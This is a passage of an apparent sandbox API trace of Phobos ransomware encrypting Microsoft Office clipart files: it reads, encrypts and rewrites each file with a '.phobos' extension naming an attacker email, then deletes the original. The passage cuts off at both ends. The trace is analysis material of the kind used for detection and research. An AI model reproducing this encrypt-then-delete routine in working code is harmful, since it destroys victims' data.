lpOverlapped=0x0) returned 1 [0133.542] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3e00, dwBufLen=0x3e00 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3e00) returned 1 [0133.542] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3e00, lpOverlapped=0x0) returned 1 [0133.543] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752a98) returned 1 [0133.543] CryptSetKeyParam (hKey=0x752a98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.543] CryptEncrypt (in: hKey=0x752a98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.543] CryptDestroyKey (hKey=0x752a98) returned 1 [0133.543] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.543] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.543] CloseHandle (hObject=0x308) returned 1 [0133.543] CloseHandle (hObject=0x2e4) returned 1 [0133.544] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1 [0133.544] SetEvent (hEvent=0x2b8) returned 1 [0133.545] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.545] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4074) returned 1 [0133.545] CloseHandle (hObject=0x2e4) returned 1 [0133.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0133.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.545] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.545] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.546] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0133.546] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.546] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xfea, lpOverlapped=0x0) returned 1 [0133.549] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xff0, dwBufLen=0xff0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xff0) returned 1 [0133.549] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xff0, lpOverlapped=0x0) returned 1 [0133.550] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752ed8) returned 1 [0133.550] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.550] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.550] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.550] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.550] CryptDestroyKey (hKey=0x753158) returned 1 [0133.550] CloseHandle (hObject=0x2e4) returned 1 [0133.550] CloseHandle (hObject=0x308) returned 1 [0133.550] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0133.551] SetEvent (hEvent=0x2b8) returned 1 [0133.551] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.551] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=8552) returned 1 [0133.551] CloseHandle (hObject=0x308) returned 1 [0133.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0133.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.551] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.552] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.552] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0133.552] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.552] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2168, lpOverlapped=0x0) returned 1 [0133.561] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2170, dwBufLen=0x2170 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2170) returned 1 [0133.561] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2170, lpOverlapped=0x0) returned 1 [0133.562] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0133.562] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.562] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.562] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.562] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.562] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.562] CloseHandle (hObject=0x308) returned 1 [0133.562] CloseHandle (hObject=0x2e4) returned 1 [0133.562] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0133.563] SetEvent (hEvent=0x2b8) returned 1 [0133.563] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.563] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.563] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=8424) returned 1 [0133.563] CloseHandle (hObject=0x2e4) returned 1 [0133.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0133.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.564] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.564] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.564] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0133.564] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.564] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x20e8, lpOverlapped=0x0) returned 1 [0133.635] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x20f0) returned 1 [0133.635] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x20f0, lpOverlapped=0x0) returned 1 [0133.636] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f18) returned 1 [0133.636] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.636] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.636] CryptDestroyKey (hKey=0x752f18) returned 1 [0133.636] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.636] CryptDestroyKey (hKey=0x7530d8) returned 1 [0133.636] CloseHandle (hObject=0x2e4) returned 1 [0133.636] CloseHandle (hObject=0x308) returned 1 [0133.636] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1 [0133.640] SetEvent (hEvent=0x2b8) returned 1 [0133.641] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.641] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=10816) returned 1 [0133.641] CloseHandle (hObject=0x308) returned 1 [0133.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0133.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.641] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.641] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.642] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0133.642] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.642] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2a40, lpOverlapped=0x0) returned 1 [0133.676] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2a50) returned 1 [0133.676] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2a50, lpOverlapped=0x0) returned 1 [0133.677] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0133.677] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.677] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.677] CryptDestroyKey (hKey=0x752d18) returned 1 [0133.677] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.677] CryptDestroyKey (hKey=0x752cd8) returned 1 [0133.677] CloseHandle (hObject=0x308) returned 1 [0133.677] CloseHandle (hObject=0x2e4) returned 1 [0133.678] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0133.678] SetEvent (hEvent=0x2b8) returned 1 [0133.678] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.679] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=7878) returned 1 [0133.679] CloseHandle (hObject=0x2e4) returned 1 [0133.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0133.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.679] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.679] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.680] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752b18) returned 1 [0133.680] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.680] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1ec6, lpOverlapped=0x0) returned 1 [0133.718] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1ed0) returned 1 [0133.718] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1ed0, lpOverlapped=0x0) returned 1 [0133.720] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e58) returned 1 [0133.720] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.720] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.720] CryptDestroyKey (hKey=0x752e58) returned 1 [0133.720] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.720] CryptDestroyKey (hKey=0x752b18) returned 1 [0133.720] CloseHandle (hObject=0x2e4) returned 1 [0133.720] CloseHandle (hObject=0x308) returned 1 [0133.721] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0133.721] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.722] GetFileSizeEx (in: 